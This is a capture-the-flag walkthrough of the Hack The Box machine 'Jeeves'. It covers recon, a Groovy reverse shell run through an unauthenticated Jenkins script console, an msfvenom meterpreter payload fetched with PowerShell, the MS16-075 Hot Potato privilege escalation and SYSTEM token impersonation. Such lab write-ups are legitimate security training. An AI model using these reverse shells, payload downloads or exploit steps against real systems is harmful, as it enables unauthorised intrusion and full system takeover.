HTB: Jeeves

Details

This machine is Jeeves from Hack The Box

Recon

I started with a service discovery scan

root@kali:~# nmap -sV -p- -T4 10.10.10.63
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 13:04 EDT
Nmap scan report for 10.10.10.63
Host is up (0.034s latency).
Not shown: 65531 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.54 seconds

User

I started with http://10.10.10.63/

Screenshot 1

Then http://10.10.10.63:50000/

Screenshot 2

As port 5000 didn't have anything on the root, I ran dirbuster on it

Screenshot 3

Screenshot 4

So off to http://10.10.10.63:50000/askjeeves/

Screenshot 5

I clicked manage

Screenshot 6

And then script console

Screenshot 7

So I can get to the script console without auth, so I set a listener and ran a groovy script reverse shell

root@kali:~# nc -nlvp 4444

String host="10.10.14.19";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

When I clicked run

connect to [10.10.14.19] from (UNKNOWN) [10.10.10.63] 49677
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>

So I had a shell

C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke

In an admin folder but not an admin. So I grab the user flag

C:\Users\kohsuke\Desktop>type user.txt
[REDACTED]

I found an interesting file, a keepass database

C:\Users\kohsuke\Documents>dir /a
dir /a
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\kohsuke\Documents

11/03/2017  11:18 PM    <DIR>          .
11/03/2017  11:18 PM    <DIR>          ..
09/18/2017  01:43 PM             2,846 CEH.kdbx
11/03/2017  11:15 PM               402 desktop.ini
11/03/2017  10:50 PM    <JUNCTION>     My Music [C:\Users\kohsuke\Music]
11/03/2017  10:50 PM    <JUNCTION>     My Pictures [C:\Users\kohsuke\Pictures]
11/03/2017  10:50 PM    <JUNCTION>     My Videos [C:\Users\kohsuke\Videos]
               2 File(s)          3,248 bytes
               5 Dir(s)   7,521,775,616 bytes free

I could try to crack this, but I checked for kernel exploits first

C:\Users\kohsuke\Documents>systeminfo

Host Name:                 JEEVES
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.10586 N/A Build 10586
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00331-20304-47406-AA297
Original Install Date:     10/25/2017, 4:45:33 PM
System Boot Time:          10/2/2019, 5:58:30 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.7581552.B64.1801142334, 1/14/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,122 MB
Virtual Memory: Max Size:  2,687 MB
Virtual Memory: Available: 1,744 MB
Virtual Memory: In Use:    943 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 10 Hotfix(s) Installed.
                           [01]: KB3150513
                           [02]: KB3161102
                           [03]: KB3172729
                           [04]: KB3173428
                           [05]: KB4021702
                           [06]: KB4022633
                           [07]: KB4033631
                           [08]: KB4035632
                           [09]: KB4051613
                           [10]: KB4041689
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.63
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

I ran this into windows exploit suggester

root@kali:~# python windows-exploit-suggester.py --systeminfo sysinfo --database 2019-10-02-mssb.xls
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 11 hotfix(es) against the 160 potential bulletins(s) with a database of 137 known exploits
[*] there are now 160 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 10 64-bit'
[SNIP]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[SNIP]

At this point I also decided to setup a meterpreter shell to make things easier to use the hot potato exploit

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.19 LPORT=5555 -f exe > rev.exe

C:\tmp>powershell -Command "Invoke-Webrequest -URI http://10.10.14.19/rev.exe -OutFile C:\tmp\rev.exe"

I then ran this. Then I loaded and ran the hotpotato exploit

msf5 exploit(windows/local/ms16_075_reflection) > run

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] x64
[*] Launching notepad to host the exploit...
[+] Process 4780 launched.
[*] Reflectively injecting the exploit DLL into 4780...
[*] Injecting exploit into 4780...
[*] Exploit injected. Injecting payload into 4780...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.

So if it worked, in the incognito extension I should have an impersonation token available for SYSTEM

meterpreter > use incognito
Loading extension incognito...Success.

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
JEEVES\kohsuke

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

There is it, so I use that to become SYSTEM

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

And check it worked after dropping into a shell

meterpreter > shell
Process 4424 created.
Channel 1 created.
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\tmp>

C:\tmp>whoami
whoami
nt authority\system

Time to grab my flag

C:\>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,475,404,800 bytes free

C:\Users\Administrator\Desktop>type hm.txt
type hm.txt
The flag is elsewhere.  Look deeper.

The flag is hidden, so I check for alternative data streams

C:\Users\Administrator\Desktop>dir /R
dir /R
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,475,404,800 bytes free

So I use more to read that alternative stream

C:\Users\Administrator\Desktop>more < hm.txt:root.txt:$DATA
[REDACTED]

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